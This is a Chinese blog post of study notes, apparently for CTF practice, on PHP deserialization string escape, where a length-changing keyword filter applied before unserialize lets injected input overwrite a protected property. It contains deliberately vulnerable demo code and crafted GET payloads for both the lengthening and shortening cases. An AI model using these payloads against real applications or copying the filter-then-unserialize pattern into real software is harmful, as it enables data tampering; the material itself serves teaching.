php反序列化字符串逃逸

最近经常碰到反序列化改变长度的逃逸问题,写篇笔记记一下。
在反序列化前,若对序列化的字符串进行一些替换关键字操作,如果改变了长度,则会导致一些安全问题。

在讨论这个前得先理解php反序列化时的截断问题,举例:

<?php
$a = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";};i:2;s:4:"defg";}';
var_dump(unserialize($a));
echo "<br>";
var_dump(unserialize($b));
?>

结果:
在这里插入图片描述
可以看到$b中因为前部分a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}已经满足反序列化需求,所以后部分被丢弃。
了解这个之后,就可以继续我们的讨论。

替换后长度变长。

<?php
function safe($str){
    return preg_replace('/k/', 'no', $str);
}
class User
{
    public $name;
    public $score;
}
    $o  = new User();
    $name = $_GET['name'];
    $o->name = $name;
    $o->score = '100';
    $str1 = serialize($o);
    echo $str1.'<br>';
    var_dump(unserialize($str1));
    echo '<br>';
    $str2 = safe($str1);
    echo $str2.'<br>';
    var_dump(unserialize($str2));
    echo '<br>';

上面的源码中score不可控,利用逃逸我们可以控制他的值。
上面的safe函数将get获取的name参数中关键字k替换成no,则每传入一个k长度加长1。
用get获取name参数
?name=fmyyykkkkkkkkkkkkkkkkkkkkkkkkk";s:5:"score";s:3:"888";}
结果:
在这里插入图片描述
可以看到,替换前score的值是100,替换后就变成了了888。
解释:
?name=fmyyykkkkkkkkkkkkkkkkkkkkkkkkk";s:5:"score";s:3:"888";}
在这个字符串中,后部分";s:5:"score";s:3:"888";}长度为25,所以前面构造25个k,这样替换后变成25个no,长度增加了25,将这部分挤出,
序列化字符串变成了:
O:4:"User":2:{s:4:"name";s:55:"fmyyynonononononononononononononononononononononononono";s:5:"score";s:3:"888";}";s:5:"score";s:3:"100";}
结合上面说过的截断问题,原来的score值被挤出,所以只要构造正确,本来不可控的score就会被我们控制。

替换后变长度减少。

差不多的原理

<?php
function safe($str){
    return preg_replace('/k/', '', $str);
}
class User
{
    public $name;
    public $age;
    public $score;
}
$o  = new User();
$name = $_GET['name'];
$o->name = $name;
$age = $_GET['age'];
$o->age = $age;
$o->score = '100';
$str1 = serialize($o);
echo $str1.'<br>';
var_dump(unserialize($str1));
echo '<br>';
$str2 = safe($str1);
echo $str2.'<br>';
var_dump(unserialize($str2));
echo '<br>';

上面的源码中,User类中有name,age,score三个属性,name和age是我们可控的,score不可控,我们要利用逃逸控制score的值。
传入参数
?name=kkkkkkkkkkkkkkkkkkkkkkk&age=12345";s:5:"score";s:3:"888";s:2:"ab";s:2:"sb";}
在这里插入图片描述
可以看到,score的值改变了。
解释:
原序列化字符串:
O:4:"User":3:{s:4:"name";s:23:"kkkkkkkkkkkkkkkkkkkkkkk";s:3:"age";s:48:"12345";s:5:"score";s:3:"888";s:2:"ab";s:2:"sb";}";s:5:"score";s:3:"100";}
把k变成空后
O:4:"User":3:{s:4:"name";s:23:"(";s:3:"age";s:48:"12345)";s:5:"score";s:3:"888";s:2:"ab";s:2:"sb";}";s:5:"score";s:3:"100";}
因为k被置换为空 但 s:23还在,会包含后面的23个字符,也就是括号里面的字符串(括号不算,为了方便理解加上去的)
但User类有三个属性,所以得在加一个任意属性才能满足反序列化,例如这里加的s:2:"ab";s:2:"sb",即属性ab值为sb。

总结

具体题目具体分析,如果题目中的键名可控的话,构造会被替换的键名也能进行逃逸。

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值